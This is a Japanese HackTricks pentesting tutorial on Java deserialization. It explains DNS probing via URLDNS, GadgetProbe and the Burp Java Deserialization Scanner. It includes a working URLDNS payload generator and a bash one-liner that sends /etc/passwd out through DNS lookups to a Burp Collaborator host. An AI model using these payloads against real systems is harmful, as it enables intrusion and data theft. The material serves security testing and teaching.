hacktricks/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md

188 lines
10 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
{{#include ../../banners/hacktricks-training.md}}
## デシリアライズ時のDNSリクエスト
クラス `java.net.URL``Serializable` を実装しており、これはこのクラスがシリアライズ可能であることを意味します。
```java
public final class URL implements java.io.Serializable {
```
このクラスには**奇妙な動作**があります。ドキュメントから:“**2つのホストは、両方のホスト名が同じIPアドレスに解決できる場合、同等と見なされます**”。\
そのため、URLオブジェクトが**`equals`**または**`hashCode`**の**いずれか**の**関数**を呼び出すたびに、**IPアドレス**を取得するための**DNSリクエスト**が**送信**されます。
**`hashCode`**関数を**URL**オブジェクトから**呼び出す**のは非常に簡単で、このオブジェクトをデシリアライズされる`HashMap`に挿入するだけで済みます。これは、`HashMap`の**`readObject`**関数の**最後**でこのコードが実行されるためです:
```java
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
```
それは`HashMap`内のすべての値で`putVal`を**実行**します。しかし、より重要なのは、すべての値で`hash`を呼び出すことです。これは`hash`関数のコードです:
```java
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
```
ご覧のとおり、**デシリアライズ**する際に**`HashMap`**の関数`hash`は**すべてのオブジェクト**で**実行され**、**`hash`**の実行中に**オブジェクトの`.hashCode()`が実行されます**。したがって、**URL**オブジェクトを**含む****`HashMap`**を**デシリアライズ**すると、**URLオブジェクト**は**`.hashCode()`を実行します**。
次に、`URLObject.hashCode()`のコードを見てみましょう:
```java
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
```
ご覧のとおり、`URLObject``.hashCode()`を実行すると、`hashCode(this)`が呼び出されます。この関数のコードは次のとおりです:
```java
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
```
`getHostAddress`がドメインに対して実行され、**DNSクエリを発行**しています。
したがって、このクラスは**悪用**されて**DNSクエリを発行**し、**デシリアライズ**が可能であることを**示す**ため、または**情報を抽出**するために使用できます(コマンド実行の出力をサブドメインとして追加できます)。
### URLDNSペイロードコードの例
[ysoserialのURDNSペイロードコードはこちら](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java)で見つけることができます。ただし、理解しやすくするために、ysoserialのものを基にした独自のPoCを作成しました
```java
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
```
### さらなる情報
- [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
- 元のアイデアでは、commons collectionsペイロードがDNSクエリを実行するように変更されましたが、これは提案された方法よりも信頼性が低かったです。しかし、こちらがその投稿です: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
## GadgetProbe
[**GadgetProbe**](https://github.com/BishopFox/GadgetProbe)をBurp Suite App Store (Extender)からダウンロードできます。
**GadgetProbe**は、サーバーのJavaクラスに**Javaクラスが存在するかどうか**を確認し、**脆弱性**があるかどうかを知ることができます。
### どのように機能するか
**GadgetProbe**は、前のセクションの**DNSペイロード**を使用しますが、DNSクエリを実行する**前に**、**任意のクラスをデシリアライズしようとします**。もし**任意のクラスが存在すれば**、**DNSクエリ**が**送信され**、GadgetProbeはこのクラスが存在することを記録します。もし**DNS**リクエストが**送信されなければ**、これは**任意のクラスが正常にデシリアライズされなかった**ことを意味し、したがってそれは存在しないか、**シリアライズ可能/悪用可能ではない**ということです。
GitHub内には、[**GadgetProbeにはいくつかのワードリスト**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists)があり、テスト用のJavaクラスが含まれています。
![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../images/intruder4 (1) (1).gif>)
### さらなる情報
- [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
## Javaデシリアライズスキャナー
このスキャナーはBurp App Store (**Extender**)から**ダウンロード**できます。\
**拡張機能**には**パッシブ**およびアクティブな**機能**があります。
### パッシブ
デフォルトでは、すべてのリクエストとレスポンスを**パッシブにチェック**し、**Javaシリアライズマジックバイト**を探し、見つかった場合は脆弱性警告を表示します:
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../images/image (765).png>)
### アクティブ
**手動テスト**
リクエストを選択し、右クリックして`Send request to DS - Manual Testing`を選択できます。\
次に、_Deserialization Scanner Tab_ --> _Manual testing tab_内で**挿入ポイント**を選択し、**テストを開始**します(使用されるエンコーディングに応じて適切な攻撃を選択します)。
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/3-1.png)
「手動テスト」と呼ばれていますが、かなり**自動化されています**。それは自動的に**デシリアライズ**が**任意のysoserialペイロード**に**脆弱であるかどうか**をチェックし、ウェブサーバー上のライブラリを確認し、脆弱なものをハイライトします。**脆弱なライブラリ**を**チェック**するために、**Javas Sleeps**、**CPU**消費による**スリープ**、または前述のように**DNS**を使用することを選択できます。
**悪用**
脆弱なライブラリを特定したら、リクエストを_Exploiting Tab_に送信できます。\
このタブでは、再度**インジェクションポイント**を**選択**し、ペイロードを作成したい**脆弱なライブラリ**と**コマンド**を**記入**します。次に、適切な**攻撃**ボタンを押すだけです。
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/4.png)
### JavaデシリアライズDNSエクスフィルトレーション情報
ペイロードを次のように実行させます:
```bash
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
```
### さらなる情報
- [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/)
{{#include ../../banners/hacktricks-training.md}}